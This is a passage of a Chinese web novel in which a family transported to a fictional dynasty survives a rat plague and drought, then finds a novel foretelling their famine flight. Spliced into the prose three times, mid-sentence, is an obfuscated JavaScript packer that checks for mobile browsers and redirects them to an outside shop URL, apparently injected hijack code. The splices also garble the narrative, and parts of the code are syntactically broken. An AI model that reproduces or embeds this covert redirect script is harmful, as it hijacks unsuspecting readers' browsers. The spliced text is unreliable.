凑着油灯,钱婆子看到起码有五六十只老鼠围着粮食袋子在啃,粮缸的盖子被啃出一个大洞,密匝匝地摞起来,在粮缸里攒动着。 看到这种场面,钱婆子两眼一翻,直接昏了过去,站在她后面的赵老大忙伸手接住自己的亲娘,给人先拖进屋里放在床上,再出来跟着赵老头一起撵老鼠。 等钱婆子幽幽转醒的时候,她还起来便感觉手上传来钻心的痛,似乎还有什么东西在手边动。 钱婆子一惊,抬手把手边的东西甩开,屋里没点油灯,她什么都看不到。 堂屋安安静静的,钱婆子起身,双手按在床上借力的时候,又一阵钻新的痛。 ——好痛! 钱婆子忍住痛爬起来,身上呼啦啦地往下掉东西,她感到整个人背后都在发毛。 刚才掉的是什么?钱婆子不敢想,跌跌撞撞地摸到房门口,拉开门一看——堂屋里堆在角落里的粮食,现在只剩一个个空袋子在那。 赵老头和两个儿子儿媳呆站在那看着,钱婆子看到粮袋子,一阵的眩晕。 “娘!”赵老三过去扶住她,“娘——你没事吧?” “滚、滚开!”钱婆子胳膊一使劲把赵老三的手甩开,自己扶着门框站定,“咱们家的粮食呢?” 没人敢开口,孙氏和赵老大头都低着,吴氏在看两袋子。 最后还是赵老头,放下手里的铲子,说:“没了,都没了!都被老鼠给吃光了!” 那可是家里最后一点粮食啊!这些粮食省着点,够他们吃到开春的,钱婆子心痛不已,捂着发疼的心口。 他们的粮食本来可以没事的!明明前半夜还好好的,对,都是后半夜,后半夜出的事! 后半夜,院里也没几个老鼠窜进来,钱婆子吩咐两个儿子轮换着在院里盯着,有动静回房喊人。 一切都安排得好好的,只有赵老三!他偷懒,才导致家里粮食被吃光的! 钱婆子抬手去打赵老三,赵老三没躲,硬是挨了一巴掌,这才说:“娘,我是太冷了,所以回房去暖和一下,谁知就这会的功夫,院里进来的老鼠。” 实际上,赵老三一只看没几只老鼠进来,它们进来也成不了什么气候,再加上天冷,他打了个哈欠便回屋去睡下了。 “你还有脸说!”钱婆子打完他,手掌钻心的痛,她伸出手一看,不知道什么时候,手指肚竟然少了一块肉!**深可见骨,像是……像是老鼠咬的! 双重打击之下,钱婆子扶着门框摇摇欲坠起来,赵老大扶着亲娘,他离得近,也看到钱婆子手上的伤口,那齿印一看便知,是老鼠干的。 “娘!我把你放到屋里床上的时候,屋里是没有老鼠的!”赵老大扶着钱婆子着急地解释。 钱婆子听到老鼠二字,竟是直接昏了过去。 赵家一阵鸡飞狗跳。 宁宁这边,后半夜仍有不怕人的老鼠堆叠着跳进院子里,几人合力,一只都不放过。 赵启胆大,从火盆里拿了一根燃着的柴火隔一会绕着院子巡逻一遍,发现院子哪里有洞赶紧堵上。 一直到天亮,外面叽叽的动静才渐渐消失。 宁妈爬上梯子往外看了看,外面路上空空荡荡,一只老鼠都没有。 “走了。”宁妈慢慢爬下梯子,“应该是都走了,这会外面一只老鼠都没有。” “我的天,终于走了。”赵宁宁把棍子丢在地上,恨不能直接坐地上,赵启扶了扶妹妹,问:“它们不会再回来吧?” “这不好说。”宁妈叹了口气,“咱们也没见过这架势,反正一切小心,先回去吃饭补充体力,再分批去休息。” 精神紧绷了一夜,宁妈也没心力做饭了,回到堂屋,她先从空间拿出洗手的木盆,兑了热水进去洗洗手和脸,再从空间里拿出来之前自家蒸的包子。 其他人洗过手,接过来啃。 “等会你们几个先睡,我在院里盯着。”宁爸说。 “行。”几人吃了早饭,各自回屋睡觉。 宁爸就坐在堂屋门口,一边烤火一边盯着院里的动静。 老鼠没等到,倒是等到村里的人,见赵老二一脸疲色地坐在门口烤火,村里的汉子打了声招呼,又去下一家。 原来是里正派他来挨家挨户问有没有事的。 中午,宁妈起来替换他去睡觉,宁爸临睡之前跑去村里打听,才知道昨夜全村人家里都被老鼠给光顾过,只是有些人家损失重,有些轻。 问道赵宁宁家里时,宁爸唉声叹气说自家也被老鼠霍霍了几袋粮食,好在后半夜给它们打跑了,这才保住剩下的。 村里人差不多也是这种情况。 除了粮食被吃,还有几个被老鼠给咬了的,最严重的事钱婆子,手指肚被老鼠咬个洞,还有踩老鼠被老鼠跳起来咬到手、咬到脚腕的,但都是破皮轻伤。 其他还有受到惊吓不舒服的,里正没有再一一统计。 这次损失最严重的就是粮食了,好在那群老鼠已经过了王李村,短时间看来应该不会再回来。 回到家,宁爸把这情况给宁妈几个说了,宁妈沉默半晌,“上次是寒流,这次是鼠灾……再加上之前的旱灾,唉。” 万千愁绪化作一声叹息,两人对视一眼,宁妈说:“咱们家得努力,才能在这活下去。” 他们家幸运,做的准备充足,加上个个都是眼疾手快的主,才没被老鼠咬到,万一咬到,古代可没有狂犬疫苗,这么多老鼠,谁知道里面有没有带病的。 村里被老鼠咬到的,伤口溃烂好几天都治不好,最后到县城,县城大夫挖掉一块腐肉露出底下的好肉,重新撒上金疮药包扎,后面慢慢愈合了一个月,才完全长好。 长好之后,小小的疤痕也十分明显,一直到几十年后,都很明显。 伤口轻的能愈合好已是幸运,钱婆子伤口大,反复折腾了两个月,最后手指肚那里留了一个凹陷,轻轻一碰那的薄皮,便会很痛。 鼠灾过后,丰宁县又治理半个多月,才将剩余的老鼠都给灭杀掉。 清明过后,大地渐渐回暖,冻土不再那么硬实,里正带人选了一处风水不错的地方,让寒流遇难的几人入土为安。 村里人顶着大风到田里犁地,土地翻过来,过段时间才好播种,这样一年,起码这一季的粮食能有着落。 冬寒褪去,春寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229755|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料峭,柳枝悄悄吐出黄绿色的新芽,整个王李村远远看去看绿意盈盈的。 河道旁,里正看着河里化冻的冰面,心里稍稍安定。 今年冬天虽然反常,好在这几场雪能给之前干涸的土地湿润一下,照这个势头,雪水再化一化,河道里的水位能回到从前。 只要接下来气候正常,起码今年是不用发愁了,村里人只要手脚勤快一些,捱过这段青黄不接的日子,剩下便会好过许多。 村里人也大都是这样想的。只要天暖和起来,河道有水,他们便是累一点苦一点,日夜挑水也能把粮食种出来。 怕就怕还像之前那样,连旱三年,地里的水浇下去便被晒干,谷子根本吃不到水。 天一暖,山上冒绿,去山上挖野菜的人便多起来,宁妈为了不让村里人看出他们家的异样,带着家里人也去过几次,挖了一袋野菜,一部分拿来包饺子,一部分焯水之后晾晒成野菜干。 靠着东借一斗粮西借半斤米,再加上春天稀少的野菜,在鼠灾中粮食损失惨重的人家,勉强活了下来。 迟来的春耕开始,村里人下地播种,宁爸宁妈在前面挖洞,哥哥把种子挨个丢进挖好的坑里,赵宁宁走在后面用脚把土给埋起来。 种下耐旱的大豆,赵宁宁家扛着农具往家里走。 从开春到今天,老天都还没下过雨,怕今年还像往年那般干旱,村里人只有一小部分种的是稻子,稻子需水量大,虽然现在河道里水位比去年高,他们也怕万一老天不作美。 怕什么来什么,短暂的“春天”过去,一个月的光景,大周朝又迎来酷热的天气。 并且,比以往还要热! 刚抽条还没长成的柳叶,直接被硕大的太阳给烤得卷曲起来,原本绿油油的山,直接被晒得焦黄,远远看去枯黄一片,如同秋天一般。 这个转变让赵宁宁家措手不及,赵宁宁抽空把冰柜腾了腾,空出一块地方,直接放几个干净的盆子在冰柜里面冻冰块使。 天一热,县城里的清风楼又开始做起冰糕和冰粉的生意,生意火爆,令人眼红。 何氏是知道宁宁家以前在县城摆摊的,还知道老赵家的人去**,把宁宁家生意给搅黄。 在何氏眼里,赵宁宁一家生意被搅黄,地只有两亩,一家人只能天天在家里呆着。 怕如今青黄不接,宁宁家吃不上饭,她一直想着给宁宁家贴补,去山上挖野菜都要抓一把给宁宁家。 搞得宁妈收也不是,不收也不是,野菜少吃一点叫吃个新鲜,吃多了宁宁就要喊想吃肉,宁妈只能暂时收下,晒成菜干一起放起来。 其实是赵宁宁家一点都不缺吃的,这才赋闲在家养膘。宁妈想着在古代生活不想现代那样安全,万一路上遇见个什么情况,大人不在身边的时候宁宁两个会很危险。 所以在家这几个月,她闲着没事天天拉着两个孩子练拳,宁爸的腿伤好之前,她只指点宁爸练上肢力量,腿伤好之后,她让宁爸悠着点,也跟着练。 一个冬天过去,宁宁一家原先干瘪蜡黄的脸如今变得丰润莹白起来,尤其是赵宁宁,跑起来两个脸蛋红嘟嘟的,何氏每次看到都要拉到怀里好好稀罕一番。 赵宁宁胖一点,她那双大眼睛看起来便没像以前那样大得吓人,反而像夏日的葡萄一样,黝黑溜圆,灵动无比。 空间里捡到的垃圾越堆越多,有很多都是没用的,赵宁宁还要找时间把垃圾倒腾出来再“丢掉”,有空间这个定点丢垃圾的功能,赵宁宁家的所有垃圾都被她收拾收拾,放电梯门口等着丢掉。 天越来越热,赵宁宁从空间里端出两格冰块,往杯子里一倒,再往里倒入柠檬水,这瓶柠檬水特别酸甜,宁妈喜欢喝淡一点的,她又拧开一瓶摆在外面的矿泉水倒进去,两者混匀,她这才端给宁妈。 宁妈和宁爸刚从县城回来,看到女儿妥帖地准备好喝的,宁妈摸摸宁宁的头,毫不吝啬地夸赞道:“宁宁真贴心!” 赵启适时拿出干净的毛巾,让他们两个擦汗,宁妈没有厚此薄彼,夸道:“小启真好。” 宁妈夸完,宁爸也把两个孩子夸一通,关好院门,他们这才说起这次去县城的见况。 第31章 原来是穿书? 说起县城,宁爸叹气道:“县城里都在说老天爷不会降雨,今年还要旱下去,粮价又涨了。” “又涨了?”赵宁宁问,“现在都多少文了?” 宁爸伸手比了比,“三十文,快涨了两倍。” “这价格,还有人买粮吗?”赵启好奇。 “有,那种住在县城,家里没地的只能去买。”宁妈说:“但他们买得少,现在县城里流行胖子,谁家越胖,说明家里有银子能吃饱饭。” 还能这样?赵宁宁摸着下巴琢磨,眼下农历五月,算算阳历都六月了,再不下雨,今年光靠浇水,地里的收成怕是也不好。 宁宁家里的地,完全是靠着他们一家子利用空间运水,这才能给地灌溉的七七八八。 但是今年种田种得晚,豆子长得也慢,收豆子怕是要等到十月份。 还有三个月,这三个月要是再不下雨,那大周朝恐怕是真的要乱起来。 去岁收成就已经降了好多,很多人家交了粮税,全换成粗粮,夏天掺着野菜,冬天掺着夏天晒的菜干,才能勉强果腹。 今年若是天气这样,收成再差一些,很多人家就**了…… 赵宁宁摇摇头,把这些乱七八糟的思绪从脑子里摇出去。 正往屋里走时,宁妈突然惊喜地说:“哎呀,我空间升级了!” 三人脚步一顿,宁爸直接去拉媳妇的手,“真的?!现在多大了?” 宁妈看着面板上的系统提示,说:“系统说,我空间现在有两百平了。” 直接翻倍式的涨啊?赵宁宁惊呆,“妈!亲妈!冬天的时候你空间还不到一百平呢!” 现在直接两百平!这叫什么,虽然升级慢,但升级幅度大啊! 赵启心里默算了一下,得出一个计算模型,他说:“妈妈的空间应该是按倍数增长的,跟时间也有关系,初期空间小,升级时间也短,后面空间大了,升级所需要的时间也就越久。” “不过,每一次升级都是翻倍的,初始空间只能放得下铜钱,现在跟咱家差不多大了。” 听到小启的分析,宁妈大致估摸了一下,一拍手,“还真是!小启脑子就是灵活!我都没想到是这种方式升级的。” 现在宁妈空间有两百平,赵宁宁把房间解锁到阳台,算是家里十分之一的位置解锁好了。 空间越大,能往里塞的东西就越多,宁妈乐呵完,直接去屋里扫荡了一圈,把之前囤的柴火和石炭都收进去,屋里顿时空出来一大块地方。 存空间里既不打眼,拿取还方便。 为了庆祝空间升级,本来端午只想着吃点冻粽子应景的宁妈,让宁宁把西米和那半块西瓜拿出来,给全家人做了西米露吃。 才端午,天就热到人动都不想动,夜间也是这么热。 赵宁宁家还好,她可以用冰柜冻冰块往空间外倒腾,宁爸利用汤婆子原理,让铁匠打了两个扁扁的“壶”,打开盖子里面可以放冰块,外面裹上宁妈做的棉包,晚上睡觉时贴身放着,能凉大半夜。 村里其他人家,好些个热到睡不着,日日睡不好,白天走路腿都是飘的。 过了端午,天更热。 赵宁宁依照每日习惯,把收拾好的垃圾往往电梯厅里放。 一进空间,赵宁宁便被空间里恒温的凉气给吹得浑身舒泰。 皮肤上的灼意褪去,赵宁宁舒服地叹了口气。 要是可以,她真想二十四小时都在空间里待着,但是家里其他人还在外面,她只有晚上睡觉的时候,才在空间里久呆。 空间的冰箱里,还有冰激凌,想到有两天没吃冰激凌了,赵宁宁从玄关路过去厨房,拉开冰箱门,拿两桶出去,塞给宁爸宁妈一桶,又把哥哥最喜欢的凤梨口味拿给他。 做完这些,赵宁宁才返回空间。 她今天刷新出来的捡垃圾技能还没出现。 赵宁宁看天色,差不多之后,才点开面板,在两栋楼里犹豫了一下,选中隔壁楼,点击搜索。 【系统:恭喜宿主赵宁宁!捡到垃圾大礼包一份!是否现在拆开?是/否】 什么垃圾大礼包?赵宁宁的手在面板上顿住,之前她捡垃圾,系统都提示她说捡到垃圾一袋。 今天还点名点姓的提示,难道这袋垃圾有什么与众不同的地方? 赵宁宁从玄关走出来,到电梯厅里,这里是她的“工作间”,怕垃圾有味道,她一般都是在这儿拆的。 选择“是”。 眼前顿时闪过一片白光,要比之前普通垃圾出现的时候更加耀眼,赵宁宁忍不住伸手挡住眼前的光,等白光退去,眼前出现一个小箱子。 “什么嘛!用箱子装也是垃圾啊……”赵宁宁观察箱子安全且没有异味之后,才去看里面放了什么东西。 竟然是一堆书。 赵宁宁之前也捡到过书,但那是儿童绘本,还有百科全书。 这次的书看上去要破旧一些,并且都是小说。 赵宁宁把所有的书都拿出来摆成一摞,粗粗扫过去,这些书看上去全是小说,有两本甚至她房间的书架上也有。 大部分时间捡到的都是废料垃圾,赵宁宁很少能捡到这种“有用”的垃圾。 她好久好久都没看过书了,之前的绘本和百科全书,在冬天无聊的时候,被家人翻来翻去,直接翻烂了,这批小说刚好能拿出去给他们看,也好打发时间。 怪不得叫“垃圾大礼包”。 赵宁宁心里想着,手上动作不停,她把纸箱叠好放到一边,把这堆书搬到洗手台,用干毛巾把书上面沾的灰尘擦去。 擦干净之后,她把书放到一边,从里面挑出一本自己感兴趣的,玄关的灯只开一盏,赵宁宁喜滋滋地窝在空间里看小说。 这是一本古代背景的逃荒小说。 赵宁宁翻开书页,看到里面写的,女主是重生的,上辈子,她亲娘嫁给家暴男,被打得遍体鳞伤,天灾来临,她们一家踏上逃荒路,她娘为了留一口饭给她吃,生生饿死。 而她,也被渣男父亲给卖掉,只为了换取粮食。 买他的人不安好心,她在逃命的路上,不慎摔下山崖,再睁眼,竟然是端午节。 ——端午节? 赵宁宁想,这不是巧吗,今天刚好端午节。 她接着看下去。 女主巧施连环计,家暴男因此丢了性命,女主娘带着女主被赶出家门,但没关系,女主给自己找了个好后爹,在女主的撮合下,丧妻已久的男人和女主娘成亲。 后爹还带着一个小自己一岁的拖油瓶女儿,女主没有在意,意外之下,她激活了一个灵泉空间,从此利用空间,囤了一大批粮食,天灾来临之际,他们一家在逃荒路上过得舒舒服服…… 嘶——赵宁宁冷吸一口气,心里想:这还是个逃荒文? 中间跳过,赵宁宁翻到最后面,看到结局。 “只见女主一家和男主一家最终在泗城定居,天灾过去,大周朝终于迎来了喘息之际……” 等一下。 赵宁宁手中动作一顿。 大周朝??? 虽然可能是巧合,赵宁宁坐起来,把书从头到尾粗略浏览一遍。 女主在的村子叫芦花村,县城叫磨石县,府城叫宁州,不是王李村,也不是丰宁县,赵宁宁把书扣在地上,思索片刻,起身去空间外找爸妈。 他们都还没睡着,天太热,就算能抱着**子凉快,那也有点难捱。 宁爸听到赵宁宁在门外喊他们,一骨碌起来,点上蜡烛,把门打开。 “怎么了宁宁?”宁妈坐起来,赵宁宁坐过来,她顺势拿着扇子给女儿扇风。 “我刚才捡垃圾,捡到了一箱书。”赵宁宁把手里的书递给宁妈,“发现这个逃荒小说的女主,在的地方也叫大周朝。” “啊?!”宁爸立马联想到那种穿书小说,“咱们不会是穿书的吧?” “不是,里面女主所在的地方,跟咱们的不一样,但是我想,万一她不在咱们村呢。”赵宁宁摊手,“所以拿出来问问你们。” “她在哪个村哪个县?”宁爸自诩在县城养伤呆得最久,他没事就跟程大夫闲聊,所以对大周朝的事还是稍微了解一些的。 赵宁宁把自己刚才在书里看到的信息讲了一遍,宁爸低头思索,“倒是没听说过。” 宁妈安慰宁宁:“没事,咱们明天去县城打听打听有没有这个地儿不就行了。” 第二天一早,宁爸坐上村里的顺风牛车便去了县城,到县城他也没去胡乱打听,而是去书局买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229756|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一份地理志。 拿着到茶馆坐下,宁爸一边喝茶一边翻看,还真在书里看到了宁宁说的那个地名。 如果说大周朝可能是撞名的话,芦花村、磨石县、宁州府,连环撞名,那几率可太小了。 不但名字一样,芦花村刚好是磨石县下的村子,又刚好是宁州府的几率,更是小之又小。 宁爸看到这里便坐不住,直接结账,拿着书去找程大夫。 对于这个熟悉的病人,程大夫还是有几分耐心在的,天热,医馆没什么病人,他接过地理志一看,宁爸问的地方他刚好去过。 离宁州府城不远,他之前随着师父游历,去那个村子给人看过病。 知道真有这个村子之后,宁爸马不停蹄地回家。 告诉家里人这村子是真实存在的,赵宁宁一家把堂屋门关上,在堂屋开起家庭会议。 “宁宁,你怎么看?”宁妈问。 赵宁宁说:“这个垃圾是系统提示我说‘垃圾大礼包’,跟平时的提示不一样。” “其他书我也看了,都是正常小说,只有这一本,里面地名跟这里重复。” “我今天又细看一遍,里面也是干旱第四年,女主家才开始逃荒的。” 赵宁宁越说,家里人神色越是严肃。 宁妈按住她的手:“别说了,咱做好准备,万一……” “万一真的要逃荒,那咱做了准备,怎么也不会慌张。要是虚惊一场,如今这又干旱又有寒流又闹鼠灾的,跟逃荒也没什么区别,咱们准备了,在家照样能消耗着。” 宁爸点头,附和宁妈的话道:“可以未雨绸缪,但不能没有。” 那本小说赵宁宁看完之后,赵启也看了两遍,他根据里面的情节推断,算出女主一家逃荒的时间。 正是八月份。 离现在不到两个月。 按照地里志所说的方位,女主家要更靠南一些,她们逃荒之后,估计这边才会逃荒。 不管怎么说,留给他们的时间都不多了。 家里所有人都连轴转起来,开始备战逃荒。 赵宁宁空间里会刷新的食物,每天都倒腾出来给宁妈,一部分做熟,一部分囤在宁妈的空间里。 连空间里的冰块都没放过,赵宁宁每天来回空间,折腾完一波又一波。 她不太擅长做饭,宁妈让她没事在空间里盯着,把预制的包子什么的能蒸熟的在空间里的厨房蒸熟。 生食类的拿出来,宁爸处理过后,用之前吊的卤汤给卤熟。 赵宁宁家住的地方左右都有邻居,煮了两天,外面一直有人在打听,宁妈只能作罢,用面粉去做一些方便携带又方便吃的饼,万一真去逃荒,这个吃起来没什么味道,不打眼。 夜深人静时,两个孩子都去睡了,宁爸握着宁妈的手。 “干嘛呢。”宁妈没挣脱,喊道:“热!” “唉……”宁爸忧愁,“兰香,我是真不想去逃荒。” 宁妈一静。 宁爸的家里她是知道的,他姥姥就是逃荒逃到那个镇子上的,一说起小时候的经历,他姥姥会用一种带着烟熏火燎的语气说:那时候真苦,不像现在,什么都有的吃。 逃荒的人没得吃喝,一开始还能挖野菜,后面天冷,地里什么都没有,就只能吃草根树根和树皮,宁爸姥姥那时候还小着,最美好的回忆是冬天走到一片竹林,下大雪,竹林上落着的鸟被冻晕,只要一摇晃竹子,鸟儿就跟着碎雪一起落下来。 小孩们就在雪地里找洞,一找一个准,挖出来简单处理一下,烤着吃,十分美味…… 后面,他姥姥一大家子十几个人,只剩下两个。 “没事的。”宁妈认真地安慰他,“那只是一本小说,别自己吓自己。” 宁爸急道:“可是地名!” “咱家都有金手指了,再怎么也比赤手空拳的上阵来得强。” “只要咱们不怕苦不怕难,最后总能活着走到落脚点的。” 宁妈给他细数,什么赵宁宁冰箱的吃食每天都会刷新怎么都够一家子吃,什么她的空间大得能放下两辆车,里面还有冬日里没烧完的柴火和石炭,什么天都不怕。 絮絮叨叨但令人安心的声音在枕边环绕,宁爸听着听着,慢慢睡去。 第32章 真的要逃荒? 翌日。 宁爸精神满满地起床,想到如果要逃荒,家里还得有辆代步车,他去屋里搜罗,家里的银子只剩下应急的五十两。 五十两差不多够买一辆牛车,趁着早上日头不毒辣,宁爸带着宁妈去县城买牛买车。 天热,他俩不让孩子们跟着去,赵宁宁便只能跟着赵启在家里守着家。 等傍晚两个大人回来时,牵的不是牛,而是一只—— “驴?”赵宁宁好奇地围着转了一圈,怎么看眼前的这一只都像是驴。 总不能是马吧?赵宁宁虽然不怎么见过驴,马还是偶尔能在电视里看到的。 “啥呀!”宁妈说:“这是骡子!” 他们把骡子带骡车牵到院子里。 “骡子?”赵宁宁围在一边,伸手蠢蠢欲摸。 “小心它踢你。”宁爸拦住女儿,“等过几天熟悉之后你再摸,这玩意踢人一脚能直接给人踹飞的。” 赵宁宁讪讪收回手,眼看着宁爸把骡子从车架子上卸下来,带着骡子去院子之前堆柴火搭的小棚子下。 棚子被宁爸钉了一根木桩,他刚好把骡子栓上去。 车停在棚子边上,别说,还挺像模像样的。 宁妈找来了一个使得有些旧的木桶,倒进一桶干净的水放在骡子旁边,一家四口都围住骡子看来看去。 晚上,赵宁宁为了跟骡子培养感情,亲自拿来稻草放在它嘴边,骡子抬头,鼻孔朝赵宁宁喷了喷气。 赵宁宁愣在当场,旁边的宁妈看到这场景,噗嗤一声笑出来。 “宁宁,它不爱吃稻草,稻草太干了,让它吃点这个。”宁妈从空间里拿出来买骡子顺便买的草料。 赵宁宁接过,刚递过去,骡子就把头扭一边。 宁妈奇了,明明他们赶车回来的时候骡子还好好的,怎么到家反而倔起来? 宁妈过去喂,骡子吃,宁爸去,骡子也吃。 只有赵宁宁去,它不乐意吃,赵宁宁喂了几次,它只拿嘴唇带了几根草进嘴里敷衍地磨着。 赵宁宁气得把草塞在她哥怀里,赵启去喂,才发现——这个骡子,它不喜欢小孩。 知道不是自己的原因之后,赵宁宁立马不生气,脸色变得跟小雨转晴一样快。 她不死心,每天都要去试一试,骡子也每天都糊弄糊弄小孩。 一过半个月,赵宁宁家买车的事本来只有附近几家知道,后面看到宁爸牵着骡子出门吃草,村里人才知道,赵老二家竟然买骡车了! 这年头,能买得起车架子的都是有钱人家,更遑论他们还买了骡子! 一时间,村里人羡慕有之,说酸话也有之,还有话里话外打听宁爸怎么挣到的钱。 对此,宁爸现场演了一段路救贵人,贵人赠予二十两银的故事。 村里人听了:这跟天上下银子有什么区别?于是就有几个想着发横财的,学着宁爸那样,天天揣着水囊在大路边晃悠。 老赵家。 “文远,他们家怎么都能买得起骡车!他们不是被分出去的吗!?”曹柔安抚着显怀的肚子,坐在椅子上歪缠:“不管,我肚子疼,走不了路,你去把车借来,咱们再去镇上。” 赵文远拉着她的小手,好声好气哄道:“柔安,我们大房跟他们家不对付,我、我怎么开得了这个口?” “你就当是为了我去问的。”曹柔安说:“怎么?我嫁进来之前,你明明说好要宠着我的!我入门时,你却拿一桌酒席糊弄我!这事儿我还没跟我爹说呢,你不去借是吧?好,我今日便回家!” 说着,曹柔安把手从赵文远手里抽出来,提着裙摆便要往外走。 赵文远怎么敢让她过去? 曹柔安嫁来的时候只知道他们一家把二房分出去,不知道具体是为些什么。 要是让她知道,二房之所以分家是因为自己亲娘和亲奶奶三番两次的要抓人家二房闺女去卖,曹柔安指不定会闹。 赵文远心虚的不行,拦住曹柔安之后,自己一人往村里走。 他没去赵宁宁家,之前奶和娘从大牢里出来后找过他们,直接被宁妈拿着一把大扫帚给扫出门,这门亲真如断亲文书上写的,断得干干净净! 在村里兜了一圈,赵文远回家,告诉曹柔安说:赵宁宁家不同意,说分家之后那是他家的车,跟赵家没关系,不愿意借。 闻言,曹柔安起身,手上的帕子一甩,“他们说不借便不借了?” “怎么你也是那三小子和五丫头的哥,他们见我还要喊一声嫂子呢!” 曹柔安不信二房一家能如此绝情,他们这样,在村里可是要被诟病的。 想来想去,肯定是文远不会说话,得罪了二房一家,只要过去好好跟他们说说,他们一定会卖自己这个大嫂子的面子的。 思及此,曹柔安扶着腰,挺着开始显怀的肚子挤开拦着门的赵文远,慢步朝着赵宁宁家走去。 赵文远拦不住,只能跟在一边劝着。 但曹柔安是铁了心地想坐骡车去镇上。 村里虽有牛车,毕竟是别人的,坐到镇上就要还回去了,她还想去别的地方呢。 要是能把骡车要……借过来,那不是想去哪就去哪? 甩开赵文远的手,曹柔安一扭一扭走到赵宁宁家门前。 夏日天热,不少人家都懒得关院门,但赵宁宁家的院门一直是闩着的。 曹柔安一推,没推开,晃了两下铜环之后发现院门是锁着的,曹柔安拎着铜环敲门喊门。 良久,屋里才有人过来开门。 赵宁宁打开门,一看是一个脸生的女人,不禁疑惑:“你是谁?” “你是五丫吧?我是你文远哥家的嫂子。”曹柔安脸上扬起笑,正准备说下一句话,门忽然合上,她差点没撞个鼻青。 “你!你!” 曹柔安深吸一口气,抚着胸口,拍打着赵宁宁家的门,“开门啊!五丫,你竟然敢把长辈关在门外头!真是反了天了!” 门吱呀一声被拉开,赵宁宁双手叉腰站在门边,大声说:“你算哪门子亲戚,你成亲连喊都没喊我们二房一家,更何况,我们二房早跟赵家断亲了!” “快点走,尤其是你!要不是因为你,你娘也不会三番两次想着把我绑走卖掉给你换钱娶亲!” 赵宁宁说了一长串话,口齿清晰,曹柔安听到,想要抓住她的胳膊问清“卖掉换钱娶亲”是什么意思。 没成想,赵宁宁把门又一关,她差点夹到手! “赵文远!”曹柔安抓着他胳膊,“卖掉换钱娶亲是什么意思?!” “柔安,柔安……”赵文远尴尬地拉着曹柔安的手,“不是的,你听我解释。” “什么解释?你今天得把话给我说清楚!”曹柔安被拉着走,两人声音渐行渐远地变小。 在赵文远颠三倒四的解释下,曹柔安暂且相信他说的,都是赵宁宁胆子小,孙氏对她好,她以为孙氏要害她。 石桥镇曹柔安还是想法子坐上牛车去了,还不要赵文远跟着。 一直到天黑,她才回来,钱婆子见她挎个小包回的,只斜楞了一眼,没管她。 闹鼠灾时曹柔安被吓到,一直说肚子疼,鼠灾过后,她去了趟镇子,回来说自己怀孕了。 钱婆子本想着给这个闹鼠灾还在屋里躲懒的孙媳妇立规矩,看在她怀孕的份上,这才没说什么。 曹柔安仗着自己怀孕,又要吃鸡,又要吃肉,赵家刚遭灾,说是家徒四壁都不为过,哪里来的鸡鸭鱼肉给她吃? 怀着孕都讨不来好处,曹柔安还以为是赵家人故意的,闹起来才发现,赵家根本不是之前那个赵家,他们家现在一没存粮二没银子,还有一个病歪歪难缠的奶,和小气的婆婆! 现如今,曹柔安还发现,二房一家子之所以要断亲,不止是赵文远说的“赵宁宁胆子小”这般简单,定有什么内情在。 天越来越热,肚子越来越大的曹柔安在村里散步的时候,无意听见两个村里的婆子在说赵家的事,说她嫁进来的那天,赵家只在家里摆了一桌席面,那席面还寒酸得不行。 她在后面听见,脸都羞红了,跑回家哭了半天,要跟赵文远闹着和离。 赵文远费尽心思娶来的媳妇,还是自己喜欢的人,怎能轻易应允?夫妻俩向孙氏闹了一通,直接给孙氏气病了。 二房一家走后,厨房的活计一直是孙氏操持着的,她一病倒,老赵家直接没人做饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229757|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 钱婆子出面让老三媳妇暂替着老大媳妇,老三媳妇借口从未下过厨,连厨房的边都不沾,给钱婆子气得不轻。 曹柔安还怀着孩子,钱婆子只能骂骂咧咧去做饭,她如今抠门得很,她下厨,只舀半瓢粗粮,连瓢带粮食往锅里一涮,等水烧开便是一锅粥。 她还掌着家里的大勺,分饭只给儿媳妇和孙媳妇分一点上层的稀粥。 原先家里人还能吃上整张的饼子,现在只有半张,还是粗面的。只有家里的男人能吃,女人统统没有。 连钱婆子自己都不吃,给家里省着。 一家人硬是饿得面黄肌瘦。 赵老头不好说什么,只能默默吃着自己那半块粗面饼子。 赵老大心疼自家媳妇,在饭桌上偷偷把饼子省下来,带回房给孙氏吃。 这样饿了一段时间,加上天热,赵老大下地拔草的时候直接晕在地里,被赵老三发现后,老三和赵老头扛着回家,好悬只是中暑加饿的,在家缓了一会他就醒了过来。 赵老头回屋,勒令钱婆子把钱袋子拿出来,给家里买些粮食。 钱婆子还抱着粮食降价,拿银子买回来更多白米、白面的美梦,赵老头恼怒地指着大房的位置说:孩子都饿晕在地里了,实在是太不像话。 钱婆子这才嘟嘟嚷嚷拿出十两银子,让老三去买些粮食。 